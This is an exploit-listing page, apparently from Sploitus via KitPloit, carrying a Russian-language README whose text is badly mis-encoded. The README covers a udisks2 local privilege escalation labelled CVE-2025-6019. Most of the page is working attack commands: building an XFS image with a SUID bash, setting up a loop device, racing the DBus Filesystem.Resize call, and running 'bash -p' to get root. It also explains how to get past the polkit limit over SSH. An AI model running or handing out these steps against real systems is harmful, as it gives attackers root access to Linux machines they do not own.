Sploitus

CVE-2025-6019-exploit

kitploit Β· 2026-08-25

Exploit Code

MARKDOWN105 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-AND-OSS-CVE-2025-6019-EXPLOIT
# CVE-2025-6019: Эксплойт ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ Ρ‡Π΅Ρ€Π΅Π· ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ систСмы UDisks2

## Π”Π΅Ρ‚Π°Π»ΠΈ уязвимости

  * **CVE ID** : CVE-2025-6019
  * **ВоздСйствиС** : Π›ΠΎΠΊΠ°Π»ΡŒΠ½ΠΎΠ΅ ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΠ΅ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ (LPE)
  * **Π—Π°Ρ‚Ρ€ΠΎΠ½ΡƒΡ‚Ρ‹Π΅ систСмы** : БистСмы Linux с уязвимыми вСрсиями `udisks2`
  * **ΠœΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ** : БостояниС Π³ΠΎΠ½ΠΊΠΈ ΠΏΡ€ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ систСмы позволяСт ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ SUID-Π±ΠΈΠ½Π°Ρ€Π½Ρ‹ΠΌ Ρ„Π°ΠΉΠ»Π°ΠΌ Π²ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π°Ρ… с глобальной записью
  * **ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹** : 
    * Π‘Π»ΡƒΠΆΠ±Π° `udisks2` (интСрфСйс DBus)
    * ΠœΠ΅Ρ‚ΠΎΠ΄ `org.freedesktop.UDisks2.Filesystem.Resize`
    * Π’Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Ρ‚ΠΎΡ‡ΠΊΠΈ монтирования Π² `/tmp/blockdev*`



## ΠŸΡ€ΠΎΡ†Π΅ΡΡ эксплуатации

### 1\. ΠŸΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠ° врСдоносного ΠΎΠ±Ρ€Π°Π·Π° Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ систСмы (Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠΉ)

root@kitploit:~
    
    
    dd if=/dev/zero of=./xfs.image bs=1M count=300
    mkfs.xfs ./xfs.image
    mkdir ./xfs.mount
    mount -t xfs ./xfs.image ./xfs.mount
    cp /bin/bash ./xfs.mount
    chmod 04555 ./xfs.mount/bash  # Установка SUID-Π±ΠΈΡ‚Π°
    umount ./xfs.mount 
    

### 2\. Запуск эксплойта (Π½Π° машинС ΠΆΠ΅Ρ€Ρ‚Π²Ρ‹)

root@kitploit:~
    
    
    # ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° возмоТностСй систСмы
    gdbus call --system --dest org.freedesktop.login1 \
      --object-path /org/freedesktop/login1 \
      --method org.freedesktop.login1.Manager.CanReboot
    
    # УстранСниС ΠΏΠΎΠΌΠ΅Ρ…
    killall -KILL gvfs-udisks2-volume-monitor
    
    # Настройка loop-устройства
    udisksctl loop-setup --file ./xfs.image --no-user-interaction
    
    # Π€ΠΎΠ½ΠΎΠ²Ρ‹ΠΉ Π½Π°Π±Π»ΡŽΠ΄Π°Ρ‚Π΅Π»ΡŒ (выполняСтся ΠΏΡ€ΠΈ появлСнии SUID-Π±ΠΈΠ½Π°Ρ€Π½ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π°)
    while true; do 
      /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break
    done 2>/dev/null &
    
    # Запуск уязвимости Ρ‡Π΅Ρ€Π΅Π· DBus
    gdbus call --system --dest org.freedesktop.UDisks2 \
      --object-path /org/freedesktop/UDisks2/block_devices/loop0 \
      --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
    

### 3\. ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ root-доступа

root@kitploit:~
    
    
    /tmp/blockdev*/bash -p  # Запуск ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΉ ΠΎΠ±ΠΎΠ»ΠΎΡ‡ΠΊΠΈ
    id
    # uid=65534(nobody) gid=65534(nobody) euid=0(root)
    

## Π’Π°ΠΆΠ½ΠΎ!

Эксплойт Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² сСссии logind!

  * Π‘ΠΊΡ€ΠΈΠΏΡ‚ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π·Π°ΠΏΡƒΡ‰Π΅Π½ ΠΈΠ· сСссии logind, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Active=yes ΠΈ Remote=no (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, tty1).
  * ΠŸΡ€ΠΈ запускС ΠΈΠ· сСссии SSH / pts/* / ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠ³ΠΎ шСлла Π²Ρ‹Π·ΠΎΠ² `udisksctl loop-setup --no-user-interaction` блокируСтся polkit, поэтому PoC Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ΡΡ с ошибкой Β«Failed to create loop deviceΒ».



ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:

  * Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эксплойт Ρ‡Π΅Ρ€Π΅Π· SSH, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ polkit



## Как ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эксплойт

### Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ suid-ΠΎΠ±Ρ€Π°Π·Π°

root@kitploit:~
    
    
    $ sudo bash exploit.sh create 
    

### Эксплуатация систСмы

root@kitploit:~
    
    
    $ bash exploit.sh exploit 
    

### Π’ΠΈΠ΄Π΅ΠΎ PoC

![poc](https://assets.kitploit.com/production/public/readmes/15240/c4d5a6272301f853fe7cc078d6c58549f36cc852c37f1d4fdf629883e252af5b.gif)